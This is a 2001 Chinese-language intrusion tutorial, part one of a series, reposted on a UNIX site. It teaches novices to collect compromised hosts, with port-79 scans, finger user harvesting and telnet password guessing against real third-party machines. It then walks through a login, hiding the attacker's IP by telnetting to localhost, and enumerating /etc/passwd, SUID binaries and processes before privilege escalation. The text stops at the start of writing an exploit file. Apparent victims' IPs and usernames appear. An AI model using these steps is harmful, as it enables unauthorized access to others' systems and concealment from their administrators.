[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 安全技術 > 系統 > 正文
UNIX入侵過程(1)
本文出自:http://www.cnhonker.com 作者:Lion (2001-07-25 09:00:00)
作者序言:

 

本來很久以前說要寫篇sunos 入侵教程的,但一直都沒空,也沒興趣寫。

說到就要做到。今天有點無聊的感覺,寫點東西吧。

不過,這是我的最一篇入侵教程。

黑來黑去有什意思呢,我覺得還是寫些技術分析的文章好些。

希望新手們看了我的這最一篇入侵教程,能找到一些感覺。

這只是一篇寫給新手的入門教程,不是新手的免看。

***請不要入侵和破壞國內的網絡***

 

 

說明:

 

因為某些原因,把涉及到的IP全部換成了192.168.0.*

下面是所用到的系統列表的說明:

192.168.0.1     Windows 2000 advanced server 

192.168.0.2      Solaris 7 sparc , gcc

192.168.0.3      Solaris 5.6 sparc

192.168.0.4      Solaris 8 sparc

192.168.0.10     irix 6.5.8

192.168.0.20     redhat 6.2 

 

注:Solaris 也就是Sun os,他們的轉換是:

Solaris 8 = Sunos 5.8,Solaris 7 = Sunos 5.7,Solaris 2.6 =Sunos 5.6,Solaris 2.5 =Sunos 5.5...

(你使用的平台最好為NT\Win2000\Linux\Unix,這裡我用的是Win2000 ,192.168.0.1)

約定:

文章裡面的“(***文字***)”是對該行命令或信息的一些說明。

所用到的工具為:

SuperScan 3.0  http://www.cnhonker.com/tmp/SuperScan.zip

SecureCRT 3.3 http://www.cnhonker.com/tmp/SecureCRT3.3.zip

裡面所用到的有些程序代碼請到http://lsd-pl.net/ 或 http://www.hack.co.za 查找。

 

 

入侵故事的開始

 

我喜歡把肉雞列表放在桌面上,而每次重裝系統總是會忘記備份桌面上的東西。

記得有次重裝系統丟了500多台各種肉雞的列表,有時候想起來就覺得心痛,真可惜啊。

M$的東西真是破兼可惡,又一次重裝系統完畢,我再一次丟了列表。

幸好,這次的肉雞不算多,但是我的Gcc,又得重新找,可憐啊。

如果不是這次重裝系統,可能這篇教程也不會寫了吧。

花點時間找幾台機器吧,沒機器用可不行啊。

你也跟著我來找找吧。

 

土辦法,要獲得第一個帳號,最簡單的就是用finger 了。(其實,厚著臉皮向人要是最簡單的辦法。:))

掃網段端口用什好呢,給大家一個介紹。SuperScan 3.0

大家可以在http://www.cnhonker.com/tmp/SuperScan.zip 得到我親自漢化的3.0版本。

 

(ps:

有幸與小榕成為同事,得到了一個特殊版本的流光。這裡順便也為他的流光做做廣告,我覺得流光對新手來說,流光是
最好的工具了。記得去年9月份自己剛開始學習NT/Win2000的攻擊的時候,就常用流光來掃網段,有人說 lion=只會用流
光的家伙,呵呵J其實我已經很久沒用過流光了,就是去年9,10月份比較常用些。現在我對新版本的流光感覺很好,功能
很多,裡面的很多功能都很不錯,特別是finger 探測和猜解,很適合新手使用,大家不妨試試。最新版本的流光可以在
小榕的網站獲得:http://www.netxeyes.com

 

很多人對我的個人情況感興趣,在這裡也順便說一下我個人的成長經歷吧,看了大家別笑哦,其實是這樣的:

2000年3月8日到廣州實習,開始上網,開始學用IE,用email收發信件;

4月建立了個人網站,當時還只會用木馬;

5月學習Sunos 系統的攻擊,當時對提升權限等還一竅不通,不過這個月份我發現了www.elong.com的郵件系統繞過口令驗
証的嚴重漏洞;

6月回學校畢業答辯;

7月在廣州開始專職搞網頁設計;

8月對Sunos 系統攻擊有了一定的了解;

9月換了家公司,安裝了自己的第一個win2000,並學習使用和嘗試攻擊;

10月專職網絡安全工作;

11月初碰linux,當時也在學習各種攻擊手段和各種系統的攻擊方法;

12月建立紅客聯盟網站。

2001年1月回家過春節;

2月組織攻擊日本;

3月慢慢對攻擊系統失去了興趣;

4月在考慮很多東西;

5月組織對美網絡反擊戰,結束北上北京;

6月枯燥無味的一個月;

7月已經或者將要做幾個大的決定。

送給各位網友兩句話:

“人要靠自己”

“我就是我”

其實這兩句話也就是我的全部。)

 

發了一通牢騷,開始我們的學習歷程吧。

哦,慢著,新手們先去看看我幾個月前寫的三篇UNIX入侵教程,看完了再繼續。

準備好了嗎?

讓我們來揭開UNIX神秘的面紗…

come on baby…

第一天:

 

 

好不容易等到下班。:(

打開SuperScan 3.0,(列表文件沒找到錯誤,可以點擊端口設置,再選導入,選好此軟件目錄裡的scanner..lst ,
點擊完成。)在IP欄中輸入你要掃描的網段,建議每次掃描在10個C段以內,在掃描類型中選中“顯示主機的響應”一
欄,如果你的網速慢,把“只掃描能ping的主機”也打上勾,選中“所有端口從”那個單選項,然在框裡輸入開始和
結束的端口,這裡都填“79”,也就是finger的端口,最點“開始”進行掃描。

 

掃描完成,點“剪除”去掉沒開79端口的主機列表,點“散開”或者點“保存”把結果存為文本文件以便分析掃描結果。

我們通常可以看到如下幾種常見的主機響應:

1.       …  Line     User      Host(s)                  Idle Location..

2.       No one logged on.

3.       Login       Name               TTY         Idle    When    Where..

4.       其他響應消息或者沒有內容。

其中,我們只把2,3這兩種的機器找出來。

現在我們開始手工找機器,或者用流光探測finger。

手工找其實也有竅門的,但很難說清楚,這裡就一律用 finger 0@ip 來找SunOS的薄弱機器。下面的IP都用xxx.xxx.xxx.xxx代替。

 

 

-------------------------------------------------test--------------------------------------------------------------

C:\>finger 0@xxx.xxx.xxx.xxx

 

[xxx.xxx.xxx.xxx]

finger: 0: no such user.

-------------------------------------------------test--------------------------------------------------------------

 

 

失敗,這個系統應該是linux,別灰心,我們繼續找。

 

 

-------------------------------------------------test--------------------------------------------------------------

C:\>finger 0@xxx.xxx.xxx.xxx

 

[xxx.xxx.xxx.xxx]

Login       Name               TTY         Idle    When    Where

daemon          ???                         < .  .  .  . >

bin             ???                         < .  .  .  . >

sys             ???                         < .  .  .  . >

jeffrey         ???            pts/0         203.66.149.11

daniel          ???            437           114cm.kcable.

jamie           ???            0             203.66.162.68

postgres        ???            pts/2         203.66.162.80

nsadmin         ???            768           203.66.19.50

ho              ???            390           61.169.209.106

house18         ???            pts/1         203.66.250.1

tong            ???            pts/0         210.226. 42.69

jliu            ???            pts/0         203.66.52.87

ptai            ???                         < .  .  .  . >

-------------------------------------------------test--------------------------------------------------------------

 

 

我們需要的就是這種,:)其中,第一列的jeffrey,Daniel,Jamie,postgres等就是這個主機上的用戶名,其他的內容都是一
些用戶的登陸信息。

 

現在,我們來測試一下這些帳號的密碼強度。(大家最好利用這些用戶和一些密碼猜解的工具配合來做,不然會感到厭倦的,
不過我以前特別喜歡猜: test:test oracle:oracle ….猜密碼的感覺還不錯。)

 

 

-------------------------------------------------test--------------------------------------------------------------

C:\>telnet xxx.xxx.xxx.xxx

 

SunOS 5.6      (***目標系統是SunOS 5.6 也就是Solaris 2.6***)

 

login: ptai       (***輸入用戶名***)

Password: ****   (***輸入密碼***)

Login incorrect    (***登陸失敗***)

login: jliu

Password:

Login incorrect

$ login: tong

Password:

Last login: Mon Jul  2 13:21:55 from 210.226. 42.69 (***這個用戶上次登陸時的IP***)

Sun Microsystems Inc.   SunOS 5.6       Generic August 1997

You have mail.    (***HOHO~登陸成功啦***)

$ uname a       (***查看系統版本和補丁信息***)

SunOS dev01 5.6 Generic_105181-19 sun4u sparc SUNW,Ultra-5_10

$ set            (***查看一些系統變量信息***)

HOME=/export/home/tong

HZ=100

IFS=

LOGNAME=tong

MAIL=/var/mail/tong

MAILCHECK=600

OPTIND=1

PATH=/usr/bin:

PS1=$

PS2=>

SHELL=/bin/sh

TERM=ansi

TZ=Hongkong

$ gcc 

gcc: not found   (***可惡,沒有編譯器,我們繼續找其他機器吧,等會回來收拾它。***)

$ telnet localhost (*** telnet一下本地,以免這個用戶下次登陸時一下發現了IP問題***)

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

 

 

SunOS 5.6

 

login: tong

Password:

Last login: Wed Jul  4 17:56:09 from 211.99.42.226

Sun Microsystems Inc.   SunOS 5.6       Generic August 1997

You have mail.

$ exit

Connection closed by foreign host.

$ exit

 

遺失對主機的連接。

C:\>

-------------------------------------------------test--------------------------------------------------------------

 

 

我們繼續猜解,若幹時間過,還不給我找到一個。:)

這台主機的IP用192.168.0.2代替啦。

 

 

-------------------------------------------------test--------------------------------------------------------------

C:\>finger 0@192.168.0.2

 

[192.168.0.2]

Login       Name               TTY         Idle    When    Where

daemon          ???                         < .  .  .  . >

bin             ???                         < .  .  .  . >

sys             ???                         < .  .  .  . >

dennis          ???            pts/5         pcd209117.netvig

oracle          ???            pts/5         o2

qwork           ???                         < .  .  .  . >

kenneth1        ???            pts/4         cm61-18-172-213.

wing            ???            pts/6         11 Wed 18:02  office

wilson          ???            pts/11        203.66.200.90

srini           ???            363           office

eric            ???            pts/8         office

render7         ???            62            211.18.109.186

delex           ???                         < .  .  .  . >

render9         ???            023           office

 

C:\>telnet 192.168.0.2

 

SunOS 5.7

 

login: render9

Password:

Login incorrect

login: delex

Password:

*********************************************************

 

# The JRun is now replaced by JServ

# To restart the servlet server, please use

 

rs.sh

 

# However, as the JServ will reload those classes

# inside the "/usr/proj/gipex/class", you just

# need to remove the old class with the new one.

 

*********************************************************

$ w

  6:19pm  up 61 day(s),  3:40,  3 users,  load average: 0.11, 0.07, 0.10

User     tty           login@  idle   JCPU   PCPU  what

root     console       4May0161days      2      2  /usr/dt/bin/sdt_shell -c  ?

  u

root     pts/4        Fri 4pm 5days                tail -f syslog

delex    pts/7         6:19pm                     w

$ uname -a

SunOS develop 5.7 Generic_106541-14 sun4u sparc SUNW,Ultra-5_10

$w

  4:24pm  up 62 day(s),  1:45,  3 users,  load average: 0.02, 0.02, 0.02

User     tty           login@  idle   JCPU   PCPU  what

root     console       4May0162days      2      2  /usr/dt/bin/sdt_shell -c  ?    u

root     pts/4        Fri 4pm 6days                tail -f syslog

$ gcc

gcc: No input files    

-------------------------------------------------test--------------------------------------------------------------

 

 

HOHO~終找到一台有編譯器的SunOS啦

現在我們來簡單找找前面有沒有入侵者。:)

 

 

-------------------------------------------------test--------------------------------------------------------------

$ ls -al

total 14

drwxrwxr-x   2 delex    staff        512 Jul  4 18:28 .

drwxr-xr-x  35 root     root        1024 May  7 10:46 ..

-rw-r--r--   1 delex    staff        144 May  2 10:46 .profile

-rw-------   1 root     staff        320 Jul  4 18:52 .sh_history

-rw-r--r--   1 delex    staff        124 May  2 10:46 local.cshrc

-rw-r--r--   1 delex    staff        581 May  2 10:46 local.login

-rw-r--r--   1 delex    staff        562 May  2 10:46 local.profile

$ cat /etc/passwd    (***檢查/etc/passwd***)

root:x:0:1:Super-User:/:/sbin/sh

daemon:x:1:1::/:

bin:x:2:2::/usr/bin:

sys:x:3:3::/:

adm:x:4:4:Admin:/var/adm:

lp:x:71:8:Line Printer Admin:/usr/spool/lp:

uucp:x:5:5:uucp Admin:/usr/lib/uucp:

nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

nobody:x:60001:60001:Nobody:/:

noaccess:x:60002:60002:No Access User:/:

nobody4:x:65534:65534:SunOS 4.x Nobody:/:

dennis:x:1005:20::/export/home/dennis:/bin/sh

oracle:x:1001:100::/export/home/oracle:/bin/sh

render7:x:9589:101::/export/home/render7:/bin/sh

delex:x:1035:20::/export/home/delex:/bin/sh

ac1:x:3000:300:Agent Client 1:/export/home/ac1:/bin/sh

ac2:x:3001:300:Agent Client 2:/export/home/ac2:/bin/sh

render9:x:9591:101::/export/home/render9:/bin/sh

$ ls -al /          (***查看根目錄是否有.rhosts等文件***)

total 381

drwxrwxrwx  35 root     root        1024 Jun 29 16:52 .

drwxrwxrwx  35 root     root        1024 Jun 29 16:52 ..

-rw-------   1 root     other        152 May  4 14:39 .Xauthority

drwxrwxr-x   4 root     other        512 Feb 20 10:33 .cpan

-rw-------   1 root     root        1032 May  4 14:39 .cpr_config

-rw-r--r--   1 root     other        947 Apr 14  2000 .desksetdefaults

drwxr-xr-x  15 root     other        512 Jun 20 13:09 .dt

-rwxr-xr-x   1 root     other       5111 Apr 13  2000 .dtprofile

drwx------   5 root     other        512 Apr 14  2000 .fm

drwxr-xr-x   2 root     other        512 Apr 13  2000 .hotjava

drwxr-xr-x   4 root     other        512 Mar 14 17:42 .netscape

-rw-------   1 root     other       1024 Dec  8  2000 .rnd

-rw-rw-r--   1 nobody   staff        402 Jun 12 11:14 .svg

drwx------   2 root     other        512 Apr 13  2000 .wastebasket

drwx------   2 root     other        512 Apr 13  2000 DeadLetters

drwx------   2 root     other        512 Apr 13  2000 Mail

drwxr-xr-x   2 root     root         512 Apr 13  2000 TT_DB

drwxrwxr-x   2 moluk    other        512 Dec 25  2000 XYIZNWSK

lrwxrwxrwx   1 root     root           9 Apr 13  2000 bin -> ./usr/bin

drwxr-xr-x   2 root     nobody       512 Jun 20 13:19 cdrom

-rw-------   1 root     other         77 Jun  7 15:03 dead.letter

drwxrwxr-x  18 root     sys         3584 May  4 14:39 dev

drwxrwxr-x   4 root     sys          512 Apr 13  2000 devices

drwxr-xr-x   9 root     root         512 Jun 12 14:47 disk2

drwxr-xr-x  32 root     sys         3584 Jul  4 18:53 etc

drwxrwxr-x   3 root     sys          512 Apr 13  2000 export

dr-xr-xr-x   1 root     root           1 May  4 14:39 home

drwxr-xr-x   9 root     sys          512 Dec 20  2000 kernel

lrwxrwxrwx   1 root     root           9 Apr 13  2000 lib -> ./usr/lib

drwx------   3 root     root        8192 Apr 13  2000 lost+found

drwxrwxr-x   2 root     sys          512 Apr 13  2000 mnt

dr-xr-xr-x   1 root     root           1 May  4 14:39 net

-rw-rw-r--   1 nobody   staff         13 Feb 20 16:53 newsletteradminmail.ost

drwx------   2 root     other        512 May  6  2000 nsmail

drwxrwxr-x   7 root     sys          512 Apr 28  2000 opt

drwxr-xr-x  12 root     sys          512 Apr 13  2000 platform

dr-xr-xr-x 192 root     root      126912 Jul  4 19:00 proc

drwxrwxr-x   2 root     sys          512 Dec 20  2000 sbin

drwxrwxr-x   2 root     10           512 Feb 15 14:50 snap

drwxrwxrwt   7 sys      sys          986 Jul  4 19:00 tmp

drwxrwxr-x  29 root     sys         1024 May  3 17:32 usr

drwxr-xr-x  26 root     sys          512 Jun 12 14:49 var

dr-xr-xr-x   6 root     root         512 May  4 14:39 vol

drwxr-xr-x   2 wing     10           512 Nov  6  2000 web

dr-xr-xr-x   1 root     root           1 Jul  4 18:55 xfn

$ find / -user root -perm -4000 -exec ls -al {} \;

-r-s--x--x   1 root     bin        19564 Sep  1  1998 /usr/lib/lp/bin/netpr

-r-sr-xr-x   1 root     bin        15260 Oct  6  1998 /usr/lib/fs/ufs/quota

-r-sr-sr-x   1 root     tty       174352 Nov  6  1998 /usr/lib/fs/ufs/ufsdump

-r-sr-xr-x   1 root     bin       856064 Nov  6  1998 /usr/lib/fs/ufs/ufsrestore

---s--x--x   1 root     bin         4316 Oct  6  1998 /usr/lib/pt_chmod

-r-sr-xr-x   1 root     bin         8576 Oct  6  1998 /usr/lib/utmp_update

-rwsr-xr-x   1 root     adm         5304 Sep  1  1998 /usr/lib/acct/accton

-r-sr-xr-x   1 root     bin       643464 Sep  1  1998 /usr/lib/sendmail



….        (***結果太多這裡省略了,主要是簡單找找有沒有其他以前的入侵者。***)



$ps ef

     UID   PID  PPID  C    STIME TTY      TIME CMD

    root     0     0  0   May 04 ?        0:01 sched

    root     1     0  0   May 04 ?        1:03 /etc/init -

    root     2     0  0   May 04 ?        0:01 pageout

    root     3     0  1   May 04 ?       476:33 fsflush

    root   225     1  0   May 04 ?        0:01 /usr/lib/utmpd

    root   115     1  0   May 04 ?        0:01 /usr/sbin/rpcbind

    root   299     1  0   May 04 ?        0:00 /usr/lib/saf/sac -t 300

    root    52     1  0   May 04 ?        0:00 /usr/lib/devfsadm/devfseventd

    root    54     1  0   May 04 ?        0:00 /usr/lib/devfsadm/devfsadmd

    root   117     1  0   May 04 ?        0:00 /usr/sbin/keyserv

    root   239     1  0   May 04 ?        0:13 /usr/lib/inet/xntpd

    root   142     1  0   May 04 ?        0:11 /usr/sbin/inetd -s

    root   163     1  0   May 04 ?        2:50 /usr/sbin/in.named

    root   164     1  0   May 04 ?        0:01 /usr/lib/autofs/automountd

  daemon   153     1  0   May 04 ?        0:00 /usr/lib/nfs/statd

    root   275     1  0   May 04 ?        0:01 /usr/lib/nfs/mountd

root   152     1  0   May 04 ?        0:00 /usr/lib/nfs/lockd





$ netstat -an|grep LISTEN        (***查看有沒有可疑端口***)

      *.111                *.*                0      0     0      0 LISTEN

      *.21                 *.*                0      0     0      0 LISTEN

      *.23                 *.*                0      0     0      0 LISTEN

      *.514                *.*                0      0     0      0 LISTEN

      *.513                *.*                0      0     0      0 LISTEN

      *.512                *.*                0      0     0      0 LISTEN

      *.540                *.*                0      0     0      0 LISTEN

      *.79                 *.*                0      0     0      0 LISTEN

      *.37                 *.*                0      0     0      0 LISTEN

      *.7                  *.*                0      0     0      0 LISTEN

      *.9                  *.*                0      0     0      0 LISTEN

      *.13                 *.*                0      0     0      0 LISTEN

      *.19                 *.*                0      0     0      0 LISTEN

….  

$…(***省略了對端口進行的一番測試,看有沒有bind suid root shell port ***)



$ cd /tmp

$ ls -al

total 1314

drwxrwxrwt   7 sys      sys          986 Jul  4 19:00 .

drwxrwxrwx  35 root     root        1024 Jun 29 16:52 ..

drwxrwxr-x   2 root     root         176 May  4 14:39 .X11-pipe

drwxrwxr-x   2 root     root         176 May  4 14:39 .X11-unix

drwxrwxrwx   2 root     root         179 May  4 14:39 .pcmcia

drwxrwxrwx   2 root     other        181 Jun 20 13:18 .removable

drwxrwxrwt   2 root     root         327 May  4 14:39 .rpc_door

-rwxrwxr-x   1 root     other        614 May  8 11:17 EncTest.class

-rw-------   1 root     other     265936 May  4 14:40 dtdbcache_:0

-rw-------   1 render9  render         0 May  8 11:42 mpcRaOhb

-rw-------   1 render9  render         0 May  8 13:02 mptWaGYf

-rw-rw-r--   1 root     sys         5248 May  4 14:39 ps_data

-rw-rw-r--   1 root     other          0 Jun 20 13:18 sdtvolcheck399

-rw-r--r--   1 root     other          4 May  4 14:39 speckeysd.lock

-rw-rw-r--   1 root     sys       326236 May  7 11:30 ups_data

$strings /bin/login

… 

$…     (***這裡省略了對一些文件的簡單測試****)



-------------------------------------------------test--------------------------------------------------------------

 

 

基本上沒發現什問題,來提升我們的權限吧。:)

 

 

-------------------------------------------------test--------------------------------------------------------------

$ set

EDITOR=vi

HOME=/export/home/delex

HZ=100

IFS=    

 

LD_LIBRARY_PATH=/export/home/software/setadapters/solaris2/cgi-bin/lib:

LOGNAME=delex

MAIL=/usr/mail/delex

MAILCHECK=600

MANPATH=:/usr/share/man:/usr/local/man

OPTIND=1

PATH=/usr/bin::/usr/bin:/usr/local/bin:/usr/bin:/usr/ucb:/usr/ccs/bin:/usr/sbin:/usr/local:/usr/local/bin
:/export/home/oracle/product/8.1.6/bin

PS1=$ 

PS2=> 

SHELL=/bin/sh

TERM=vt100

TZ=Hongkong

_INIT_PREV_LEVEL=S

_INIT_RUN_LEVEL=3

_INIT_RUN_NPREV=0

_INIT_UTS_ISA=sparc

_INIT_UTS_MACHINE=sun4u

_INIT_UTS_NODENAME=develop

_INIT_UTS_PLATFORM=SUNW,Ultra-5_10

_INIT_UTS_RELEASE=5.7

_INIT_UTS_SYSNAME=SunOS

_INIT_UTS_VERSION=Generic_106541-14

$ uname -a

SunOS develop 5.7 Generic_106541-14 sun4u sparc SUNW,Ultra-5_10

$ cd /tmp

$ cat > test.c      (***用cat命令寫一個文件***)
(http://www.fanqiang.com)
    進入【UNIX論壇

相關文章
偵測系統入侵事項 (2001-11-02 09:00:00)
入侵檢測工具Watcher (2001-09-12 08:00:00)
入侵分析 (2001-09-09 13:05:00)
系統遭受入侵使用TCT進行緊急恢復並分析 (2001-09-09 07:05:00)
UNIX入侵過程(3) (2001-07-25 12:00:00)
UNIX入侵過程(2) (2001-07-25 10:00:00)
UNIX入侵過程(1) (2001-07-25 09:00:00)
Unix的入侵追蹤 (2001-07-21 08:05:00)
入侵檢測系統原理和實踐 (2001-07-06 17:38:45)
入侵檢測方法 (2001-06-28 08:10:00)

===更多相關===
 

★  樊強制作 歡迎分享  ★